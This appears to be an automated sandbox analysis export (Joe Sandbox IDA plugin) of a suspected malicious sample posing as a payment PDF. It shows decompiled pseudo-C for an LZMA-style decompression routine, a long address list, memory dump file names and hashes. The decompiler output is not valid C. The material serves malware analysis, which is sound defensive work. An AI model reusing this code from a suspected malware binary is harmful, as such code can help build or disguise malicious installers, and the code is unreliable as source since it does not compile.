												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push("true");
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406b7b
0x00406b7b
0x00406b7f
0x00406b8c
0x00406b96
0x00000000
0x00406b81
0x00406b81
0x00406bbc
0x00406bbf
0x00406bc2
0x00406bc5
0x00406bc5
0x00406bc8
0x00406bcf
0x00406bd4
0x00406ab5
0x00406ab8
0x00406e2a
0x00406e2a
0x00406e2a
0x00406e2d
0x00406e2d
0x00406e2d
0x00406e33
0x00406e39
0x00406e3f
0x00406e59
0x00406e5c
0x00406e62
0x00406e6d
0x00406e6f
0x00406e41
0x00406e41
0x00406e50
0x00406e54
0x00406e54
0x00406e79
0x00000000
0x00000000
0x00406e7b
0x00406e7f
0x0040702e
0x00407044
0x0040704c
0x00407053
0x00407055
0x0040705c
0x00407060
0x00407060
0x00406e8b
0x00406e92
0x00406e9a
0x00406e9d
0x00406ea0
0x00406ea0
0x00406ea6
0x00406ea6
0x00406642
0x00406642
0x00406642
0x0040664b
0x00000000
0x00000000
0x00406651
0x00000000
0x0040665c
0x00000000
0x00000000
0x00406665
0x00406668
0x0040666b
0x0040666f
0x00000000
0x00000000
0x00406675
0x00406678
0x0040667a
0x0040667b
0x0040667e
0x00406680
0x00406681
0x00406683
0x00406686
0x0040668b
0x00406690
0x00406699
0x004066ac
0x004066af
0x004066bb
0x004066e3
0x004066e5
0x004066f3
0x004066f3
0x004066f7
0x00000000
0x00000000
0x00000000
0x00000000
0x004066e7
0x004066e7
0x004066ea
0x004066eb
0x004066eb
0x00000000
0x004066e7
0x004066c1
0x004066c6
0x004066c6
0x004066cf
0x004066d7
0x004066da
0x00000000
0x004066e0
0x004066e0
0x00000000
0x004066e0
0x00000000
0x004066fd
0x004066fd
0x00406701
0x00406fad
0x00000000
0x00406fad
0x0040670a
0x0040671a
0x0040671d
0x00406720
0x00406720
0x00406720
0x00406723
0x00406727
0x00000000
0x00000000
0x00406729
0x0040672f
0x00406759
0x0040675f
0x00406766
0x00000000
0x00406766
0x00406735
0x00406738
0x0040673d
0x0040673d
0x00406748
0x00406750
0x00406753
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406798
0x0040679e
0x004067a1
0x004067ae
0x004067b6
0x00406e2a
0x00406e2a
0x00000000
0x00000000
0x0040676d
0x0040676d
0x00406771
0x00406fbc
0x00000000
0x00406fbc
0x0040677d
0x00406788
0x00406788
0x00406788
0x0040678b
0x0040678e
0x00406791
0x00406796
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e2d
0x00406e2d
0x00406e33
0x00406e39
0x00406e3f
0x00406e59
0x00406e5c
0x00406e62
0x00406e6d
0x00406e6f
0x00406e41
0x00406e41
0x00406e50
0x00406e54
0x00406e54
0x00406e79
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004067be
0x004067c0
0x004067c3
0x00406834
0x00406837
0x0040683a
0x00406841
0x0040684b
0x00406e2a
0x00406e2a
0x00406e2a
0x00000000
0x00406e2a
0x00406e2a
0x004067c5
0x004067c9
0x004067cc
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d9
0x004067db
0x004067e0
0x004067e3
0x004067e6
0x004067ea
0x004067f1
0x004067f4
0x004067fb
0x004067ff
0x00406807
0x00406807
0x00406807
0x00406801
0x00406801
0x00406801
0x004067f6
0x004067f6
0x004067f6
0x0040680b
0x0040680e
0x0040682c
0x0040682e
0x00000000
0x00406810
0x00406810
0x00406813
0x00406816
0x00406819
0x0040681b
0x0040681b
0x0040681b
0x0040681e
0x00406821
0x00406823
0x00406824
0x00406827
0x00000000
0x00406827
0x00000000
0x00406a5d
0x00406a61
0x00406a7f
0x00406a82
0x00406a89
0x00406a8c
0x00406a8f
0x00406a92
0x00406a95
0x00406a98
0x00406a9a
0x00406aa1
0x00406aa2
0x00406aa4
0x00406aa7
0x00406aaa
0x00406aad
0x00406aad
0x00406ab2
0x00000000
0x00406ab2
0x00406a63
0x00406a66
0x00406a69
0x00406a73
0x00406e2a
0x00406e2a
0x00406e2a
0x00000000
0x00406e2a
0x00000000
0x00406ac7
0x00406acb
0x00406aee
0x00406af1
0x00406af4
0x00406afe
0x00406acd
0x00406acd
0x00406ad0
0x00406ad3
0x00406ad6
0x00406ae3
0x00406ae6
0x00406ae6
0x00406e2a
0x00406e2a
0x00406e2a
0x00000000
0x00406e2a
0x00000000
0x00406b0a
0x00406b0e
0x00000000
0x00000000
0x00406b14
0x00406b18
0x00000000
0x00000000
0x00406b1e
0x00406b20
0x00406b24
0x00406b24
0x00406b27
0x00406b2b
0x00000000
0x00000000
0x00000000
0x00000000
0x00406ba2
0x00406ba6
0x00406bad
0x00406bb0
0x00406bb3
0x00406ba8
0x00406ba8
0x00406ba8
0x00406bb6
0x00406bb9
0x00000000
0x00000000
0x00406c62
0x00406c62
0x00406c66
0x00407004
0x00000000
0x00407004
0x00406c6c
0x00406c6f
0x00406c72
0x00406c76
0x00406c79
0x00406c7f
0x00406c81
0x00406c81
0x00406c81
0x00406c84
0x00406c87
0x00000000
0x00000000
0x00406857
0x00406857
0x0040685b
0x00406fc8
0x00000000
0x00406fc8
0x00406861
0x00406864
0x00406867
0x0040686b
0x0040686e
0x00406874
0x00406876
0x00406876
0x00406876
0x00406879
0x0040687c
0x0040687c
0x0040687f
0x00406882
0x00000000
0x00000000
0x00406888
0x0040688e
0x00000000
0x00000000
0x00406894
0x00406894
0x00406898
0x0040689b
0x0040689e
0x004068a1
0x004068a4
0x004068a5
0x004068a8
0x004068aa
0x004068b0
0x004068b3
0x004068b6
0x004068b9
0x004068bc
0x004068bf
0x004068c2
0x004068de
0x004068e1
0x004068e4
0x004068e7
0x004068ee
0x004068f2
0x004068f4
0x004068f8
0x004068c4
0x004068c4
0x004068c8
0x004068d0
0x004068d5
0x004068d7
0x004068d9
0x004068d9
0x004068fb
0x00406902
0x00406905
0x00000000
0x0040690b
0x00000000
0x0040690b
0x00000000
0x00406910
0x00406910
0x00406914
0x00406fd4
0x00000000
0x00406fd4
0x0040691a
0x0040691d
0x00406920
0x00406924
0x00406927
0x0040692d
0x0040692f
0x0040692f
0x0040692f
0x00406932
0x00406935
0x00406935
0x00406935
0x0040693b
0x00000000
0x00000000
0x0040693d
0x00406940
0x00406943
0x00406946
0x00406949
0x0040694c
0x0040694f
0x00406952
0x00406955
0x00406958
0x0040695b
0x00406973
0x00406976
0x00406979
0x0040697c
0x0040697f
0x00406983
0x00406985
0x0040695d
0x0040695d
0x00406965
0x0040696a
0x0040696c
0x0040696e
0x0040696e
0x00406988
0x0040698f
0x00406992
0x00000000
0x00406994
0x00000000
0x00406994
0x00406992
0x00406999
0x00406999
0x00406999
0x00406999
0x00000000
0x00000000
0x004069d4
0x004069d4
0x004069d8
0x00406fe0
0x00000000
0x00406fe0
0x004069de
0x004069e1
0x004069e4
0x004069e8
0x004069eb
0x004069f1
0x004069f3
0x004069f3
0x004069f3
0x004069f6
0x004069f9
0x004069f9
0x004069ff
0x0040699d
0x0040699d
0x004069a0
0x00000000
0x004069a0
0x00406a01
0x00406a01
0x00406a04
0x00406a07
0x00406a0a
0x00406a0d
0x00406a10
0x00406a13
0x00406a16
0x00406a19
0x00406a1c
0x00406a1f
0x00406a37
0x00406a3a
0x00406a3d
0x00406a40
0x00406a43
0x00406a47
0x00406a49
0x00406a21
0x00406a21
0x00406a29
0x00406a2e
0x00406a30
0x00406a32
0x00406a32
0x00406a4c
0x00406a53
0x00406a56
0x00000000
0x00406a58
0x00000000
0x00406a58
0x00000000
0x00406ce5
0x00406ce5
0x00406ce9
0x00407010
0x00000000
0x00407010
0x00406cef
0x00406cf2
0x00406cf5
0x00406cf9
0x00406cfc
0x00406d02
0x00406d04
0x00406d04
0x00406d04
0x00406d07
0x00000000
0x00000000
0x00000000
0x00000000
0x00406df4
0x00406df8
0x00406e1a
0x00406e1d
0x00406e27
0x00406e2a
0x00406e2a
0x00406e2a
0x00000000
0x00406e2a
0x00406e2a
0x00406dfa
0x00406dfd
0x00406e01
0x00406e04
0x00406e04
0x00406e07
0x00000000
0x00000000
0x00406eb1
0x00406eb5
0x00406ed3
0x00406ed3
0x00406ed3
0x00406eda
0x00406ee1
0x00406ee8
0x00406ee8
0x00000000
0x00406ee8
0x00406eb7
0x00406eba
0x00406ebd
0x00406ec0
0x00406ec7
0x00406e0b
0x00406e0b
0x00406e0e
0x00000000
0x00000000
0x00406fa2
0x00406fa5
0x00406ea6
0x00000000
0x00000000
0x00406bdc
0x00406bde
0x00406be5
0x00406be6
0x00406be8
0x00406beb
0x00000000
0x00000000
0x00406bf3
0x00406bf6
0x00406bf9
0x00406bfb
0x00406bfd
0x00406bfd
0x00406bfe
0x00406c01
0x00406c08
0x00406c0b
0x00406c19
0x00000000
0x00000000
0x00406eef
0x00406eef
0x00406ef2
0x00406ef9
0x00000000
0x00000000
0x00406efe
0x00406efe
0x00406f02
0x0040703a
0x00000000
0x0040703a
0x00406f08
0x00406f0b
0x00406f0e
0x00406f12
0x00406f15
0x00406f1b
0x00406f1d
0x00406f1d
0x00406f1d
0x00406f20
0x00406f23
0x00406f23
0x00406f23
0x00406f23
0x00406f26
0x00406f26
0x00406f2a
0x00406f8a
0x00406f8d
0x00406f92
0x00406f93
0x00406f95
0x00406f97
0x00406f9a
0x00406ea6
0x00406ea6
0x00000000
0x00406eac
0x00406ea6
0x00406f2c
0x00406f32
0x00406f35
0x00406f38
0x00406f3b
0x00406f3e
0x00406f41
0x00406f44
0x00406f47
0x00406f4a
0x00406f4d
0x00406f66
0x00406f69
0x00406f6c
0x00406f6f
0x00406f73
0x00406f75
0x00406f75
0x00406f76
0x00406f79
0x00406f4f
0x00406f4f
0x00406f57
0x00406f5c
0x00406f5e
0x00406f61
0x00406f61
0x00406f7c
0x00406f83
0x00000000
0x00406f85
0x00000000
0x00406f85
0x00000000
0x00406c21
0x00406c24
0x00406c5a
0x00406d8a
0x00406d8a
0x00406d8a
0x00406d8a
0x00406d8d
0x00406d8d
0x00406d90
0x00406d92
0x0040701c
0x00000000
0x0040701c
0x00406d98
0x00406d9b
0x00000000
0x00000000
0x00406da1
0x00406da5
0x00406da8
0x00406da8
0x00406da8
0x00000000
0x00406da8
0x00406c26
0x00406c28
0x00406c2a
0x00406c2c
0x00406c2f
0x00406c30
0x00406c32
0x00406c34
0x00406c37
0x00406c3a
0x00406c50
0x00406c55
0x00406c8d
0x00406c8d
0x00406c91
0x00406cbd
0x00406cbf
0x00406cc6
0x00406cc9
0x00406ccc
0x00406ccc
0x00406cd1
0x00406cd1
0x00406cd3
0x00406cd6
0x00406cdd
0x00406ce0
0x00406d0d
0x00406d0d
0x00406d10
0x00406d13
0x00406d87
0x00406d87
0x00406d87
0x00000000
0x00406d87
0x00406d15
0x00406d1b
0x00406d1e
0x00406d21
0x00406d24
0x00406d27
0x00406d2a
0x00406d2d
0x00406d30
0x00406d33
0x00406d36
0x00406d4f
0x00406d51
0x00406d54
0x00406d55
0x00406d58
0x00406d5a
0x00406d5d
0x00406d5f
0x00406d61
0x00406d64
0x00406d66
0x00406d69
0x00406d6d
0x00406d6f
0x00406d6f
0x00406d70
0x00406d73
0x00406d76
0x00406d38
0x00406d38
0x00406d40
0x00406d45
0x00406d47
0x00406d4a
0x00406d4a
0x00406d79
0x00406d80
0x00406d0a
0x00406d0a
0x00406d0a
0x00406d0a
0x00000000
0x00406d82
0x00000000
0x00406d82
0x00406d80
0x00406c93
0x00406c96
0x00406c98
0x00406c9b
0x00406c9e
0x00406ca1
0x00406ca3
0x00406ca6
0x00406ca9
0x00406ca9
0x00406cac
0x00406cac
0x00406caf
0x00406cb6
0x00406c8a
0x00406c8a
0x00406c8a
0x00406c8a
0x00000000
0x00406cb8
0x00000000
0x00406cb8
0x00406cb6
0x00406c3c
0x00406c3f
0x00406c41
0x00406c44
0x00000000
0x00000000
0x004069a3
0x004069a3
0x004069a7
0x00406fec
0x00000000
0x00406fec
0x004069ad
0x004069b0
0x004069b3
0x004069b6
0x004069b9
0x004069bc
0x004069bf
0x004069c1
0x004069c4
0x004069c7
0x004069ca
0x004069cc
0x004069cc
0x004069cc
0x00000000
0x00000000
0x00406b2e
0x00406b2e
0x00406b32
0x00406ff8
0x00000000
0x00406ff8
0x00406b38
0x00406b3b
0x00406b3e
0x00406b41
0x00406b43
0x00406b43
0x00406b43
0x00406b46
0x00406b49
0x00406b4c
0x00406b4f
0x00406b52
0x00406b55
0x00406b56
0x00406b58
0x00406b58
0x00406b58
0x00406b5b
0x00406b5e
0x00406b61
0x00406b64
0x00406b64
0x00406b64
0x00406b67
0x00406b69
0x00406b69
0x00000000
0x00000000
0x00406dab
0x00406dab
0x00406dab
0x00406daf
0x00000000
0x00000000
0x00406db5
0x00406db8
0x00406dbb
0x00406dbe
0x00406dc0
0x00406dc0
0x00406dc0
0x00406dc3
0x00406dc6
0x00406dc9
0x00406dcc
0x00406dcf
0x00406dd2
0x00406dd3
0x00406dd5
0x00406dd5
0x00406dd5
0x00406dd8
0x00406ddb
0x00406dde
0x00406de1
0x00406de4
0x00406de8
0x00406dea
0x00406ded
0x00000000
0x00406def
0x00406b6c
0x00406b6c
0x00000000
0x00406b6c
0x00406ded
0x00407022
0x00000000
0x00000000
0x00406651
0x00407059
0x00407059
0x00000000
0x00407059
0x00406ea6
0x00406e2d
0x00406e2a
0x00000000
0x00406b7f

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46e38dc9042d38c3d36f7f10ec43a7b3aa55cd06347f931a7d3c587032d94121
Instruction ID: f909a51a05dfa9c5f202b5373a38b9e5f11f80519cee44c22f430a43d8e85a48
Opcode Fuzzy Hash: 46e38dc9042d38c3d36f7f10ec43a7b3aa55cd06347f931a7d3c587032d94121
Instruction Fuzzy Hash: 74713371E00229CBDF28CF98C844BADBBB1FF44305F15816AD856BB281C7796A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406AC7 Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406AC7() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
